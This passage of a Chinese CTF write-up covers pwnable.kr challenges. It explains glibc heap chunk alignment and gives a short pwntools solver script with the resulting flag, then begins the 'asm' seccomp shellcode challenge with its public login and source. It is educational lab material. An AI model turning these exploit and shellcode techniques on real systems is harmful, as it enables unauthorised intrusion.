</span></span><span class="line"><span class="ln">11</span><span class="cl">        |             (size of chunk, but used for application data)    |
</span></span><span class="line"><span class="ln">12</span><span class="cl">        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
</span></span><span class="line"><span class="ln">13</span><span class="cl">        |             Size of next chunk, in bytes                |A|0|1|
</span></span><span class="line"><span class="ln">14</span><span class="cl">        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">text</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>glibc ptmalloc 计算 chunk 实际大小的源码，向上取整：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln">1</span><span class="cl"><span class="cp">#define MALLOC_ALIGNMENT (2 * SIZE_SZ) </span><span class="c1">// 对齐单位 = 2 * SIZE_SZ
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="cp">#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1) </span><span class="c1">// 对齐掩码 = 对齐单位-1
</span></span></span><span class="line"><span class="ln">3</span><span class="cl">
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="c1">// 跟最小空间比较
</span></span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="cp">#define request2size(req)                                         \
</span></span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="cp">  (((req) + SIZE_SZ + MALLOC_ALIGN_MASK &lt; MINSIZE)  ?             \
</span></span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="cp">   MINSIZE :                                                      \
</span></span></span><span class="line"><span class="ln">8</span><span class="cl"><span class="cp">   ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) &amp; ~MALLOC_ALIGN_MASK)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>解释一下符号含义：</p>
<table>
	<thead>
			<tr>
					<th>符号</th>
					<th>含义</th>
					<th>32位</th>
					<th>64位</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td>req</td>
					<td>用户申请的字节数</td>
					<td>\</td>
					<td>\</td>
			</tr>
			<tr>
					<td>SIZE_SZ</td>
					<td>指针大小</td>
					<td>4</td>
					<td>8</td>
			</tr>
			<tr>
					<td>2 * SIZE_SZ</td>
					<td>chunk最小对齐单位(M)</td>
					<td>8</td>
					<td>16</td>
			</tr>
	</tbody>
</table>
<p>注意这里的逻辑是空间复用的情况，本来实际chunk大小是<code>req + SIZE_SZ + SIZE_SZ</code>，但是由于复用，chunk可以侵占下一个chunk的prev_size，所以只需要给他一个<code>SIZE_SZ</code>，它不够了会去占用的。</p>
<p>64位系统上，这个函数等价于<code>chunk_size = (req + SIZE_SZ + 15) &amp; ~15</code>，这行代码等价于<code>chunk_size = ceil((req + SIZE_SZ) / 16) * 16</code>，这是数学原理，目的是向上取整到16的倍数。</p>
<p>回到这题，32位系统，公式变成：<code>chunk_size = (req + 4 + 7) &amp; ~7</code>，假如申请8空间，chunk_size=16，刚好对齐。假如申请16空间，chunk_size = 24，24 只是 8 的倍数，不是 16 的倍数。那为什么这道题输入24并没有崩溃，而且后面几个实验才崩溃呢？
因为堆分配在堆初始化后，往往是从0x08开始，这是堆的初始偏移。为什么？</p>
<p>在 x86 (32位) 系统上，为了支持 double 等类型，malloc 保证返回的地址至少是 8字节对齐 的。而在 x86_64 (64位) 系统上，为了支持 long double 或 SSE 指令集，它保证返回的地址是 16字节对齐的。但是由于堆初始化等等问题，32位系统就已经是0x08开头</p>
<p>chunk实际地址与指针地址不是一个概念，指令验证的16字节对齐，是验证指针地址的。而指针地址，指向的是用户区域user data开始的地址，并非chunk地址，我画了一张图：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln"> 1</span><span class="cl">    0x08───►┌─────────┐                
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">            │prev_size│                
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">            ├─────────┤                
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">            │  size   │                
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    0x10───►├─────────┤◄───src pointer 
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">            │   req   │                
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">            │         │                
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">            │ 8 bytes │                
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    0x18───►├─────────┤                
</span></span><span class="line"><span class="ln">10</span><span class="cl">            │prev_size│                
</span></span><span class="line"><span class="ln">11</span><span class="cl">            ├─────────┤                
</span></span><span class="line"><span class="ln">12</span><span class="cl">            │  size   │                
</span></span><span class="line"><span class="ln">13</span><span class="cl">    0x20───►├─────────┤◄───dest pointer
</span></span><span class="line"><span class="ln">14</span><span class="cl">            │   req   │                
</span></span><span class="line"><span class="ln">15</span><span class="cl">            │         │                
</span></span><span class="line"><span class="ln">16</span><span class="cl">            │ 24 bytes│                
</span></span><span class="line"><span class="ln">17</span><span class="cl">            │         │                
</span></span><span class="line"><span class="ln">18</span><span class="cl">            │         │                
</span></span><span class="line"><span class="ln">19</span><span class="cl">            └─────────┘                </span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">text</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>这里可以看出两个指针都是对齐的。
关于这里的复用，第一次输入8，公式计算出实际大小为16，可用空间是12（包括了下一块的prev_size）,由于我只用8字节，所以prev_size并没有侵占。但如果输入12，公式计算实际大小依然是16，上图完全不会变化，只是在程序运行的时候写数据会侵占第二块的prev_size而已。
这题已经很明显了，我输入的数据，必须对齐，而且要考虑堆初始地址的0x8偏移，所以填入的所有区块大小都应该满足<code>16 * n + 8</code>。
那么生成这10个数就很好写了，因为给的区间就是<code>2 ^ e-1</code>到<code>2 ^ e</code>之间，e还是从4开始取的。第一个区间是8-16，后面的区间是16-32……，除了第一个外，后面的区间左端点必然都是16的倍数，那么脚本除了第一个外，都写 <code>(2 ^ e-1) + 8</code>就行了。
解题脚本：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="n">io</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s1">&#39;localhost&#39;</span> <span class="p">,</span> <span class="mi">9022</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;8 ~ 16 : &#39;</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="k">for</span> <span class="n">e</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">5</span><span class="p">,</span><span class="mi">14</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl">    <span class="n">m</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span><span class="n">e</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">+</span><span class="mi">8</span>
</span></span><span class="line"><span class="ln">7</span><span class="cl">    <span class="n">io</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39; : &#39;</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="n">m</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">8</span><span class="cl">
</span></span><span class="line"><span class="ln">9</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">io</span><span class="o">.</span><span class="n">recvall</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>那么短的脚本背后是那么多的知识储备。
flag：<code>b0thers0m3_m3m0ry_4lignment</code></p>
<h3 id="asm">asm<a class="anchor" href="#asm">#</a></h3>
<blockquote>
<p>Mommy! I think I know how to make shellcode</p>
<p>ssh <a
  href="mailto:asm@pwnable.kr"
  >asm@pwnable.kr</a
>
 -p2222 (pw: guest)</p>
</blockquote>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;sys/mman.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;seccomp.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;sys/prctl.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;fcntl.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl">
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="cp">#define LENGTH 128
</span></span></span><span class="line"><span class="ln">11</span><span class="cl">
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="kt">void</span> <span class="nf">sandbox</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">		<span class="c1">// 初始化 seccomp 过滤器，默认动作是 KILL。如果程序尝试调用任何未被显式允许的系统调用，内核会立即终止该进程（发送 SIGSYS）
</span></span></span><span class="line"><span class="ln">14</span><span class="cl">        <span class="n">scmp_filter_ctx</span> <span class="n">ctx</span> <span class="o">=</span> <span class="nf">seccomp_init</span><span class="p">(</span><span class="n">SCMP_ACT_KILL</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">ctx</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;seccomp error</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">                <span class="nf">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">		<span class="c1">// 允许的系统调用白名单
</span></span></span><span class="line"><span class="ln">20</span><span class="cl">        <span class="nf">seccomp_rule_add</span><span class="p">(</span><span class="n">ctx</span><span class="p">,</span> <span class="n">SCMP_ACT_ALLOW</span><span class="p">,</span> <span class="nf">SCMP_SYS</span><span class="p">(</span><span class="n">open</span><span class="p">),</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">        <span class="nf">seccomp_rule_add</span><span class="p">(</span><span class="n">ctx</span><span class="p">,</span> <span class="n">SCMP_ACT_ALLOW</span><span class="p">,</span> <span class="nf">SCMP_SYS</span><span class="p">(</span><span class="n">read</span><span class="p">),</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">        <span class="nf">seccomp_rule_add</span><span class="p">(</span><span class="n">ctx</span><span class="p">,</span> <span class="n">SCMP_ACT_ALLOW</span><span class="p">,</span> <span class="nf">SCMP_SYS</span><span class="p">(</span><span class="n">write</span><span class="p">),</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">        <span class="nf">seccomp_rule_add</span><span class="p">(</span><span class="n">ctx</span><span class="p">,</span> <span class="n">SCMP_ACT_ALLOW</span><span class="p">,</span> <span class="nf">SCMP_SYS</span><span class="p">(</span><span class="n">exit</span><span class="p">),</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">        <span class="nf">seccomp_rule_add</span><span class="p">(</span><span class="n">ctx</span><span class="p">,</span> <span class="n">SCMP_ACT_ALLOW</span><span class="p">,</span> <span class="nf">SCMP_SYS</span><span class="p">(</span><span class="n">exit_group</span><span class="p">),</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">		<span class="c1">// 将配置加载到内核
</span></span></span><span class="line"><span class="ln">26</span><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nf">seccomp_load</span><span class="p">(</span><span class="n">ctx</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">                <span class="nf">seccomp_release</span><span class="p">(</span><span class="n">ctx</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;seccomp error</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">                <span class="nf">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">        <span class="nf">seccomp_release</span><span class="p">(</span><span class="n">ctx</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">
</span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="kt">char</span> <span class="n">stub</span><span class="p">[]</span> <span class="o">=</span> <span class="s">&#34;</span><span class="se">\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff</span><span class="s">&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl"><span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">filter</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[]){</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">
</span></span><span class="line"><span class="ln">38</span><span class="cl">        <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">        <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">_IOLBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl">
</span></span><span class="line"><span class="ln">41</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Welcome to shellcoding practice challenge.</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">42</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;In this challenge, you can run your x64 shellcode under SECCOMP sandbox.</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Try to make shellcode that spits flag using open()/read()/write() systemcalls only.</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">44</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;If this does not challenge you. you should play &#39;asg&#39; challenge :)</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">45</span><span class="cl">
</span></span><span class="line"><span class="ln">46</span><span class="cl">		<span class="c1">// 内存映射 —— 可执行内存页，参数google吧
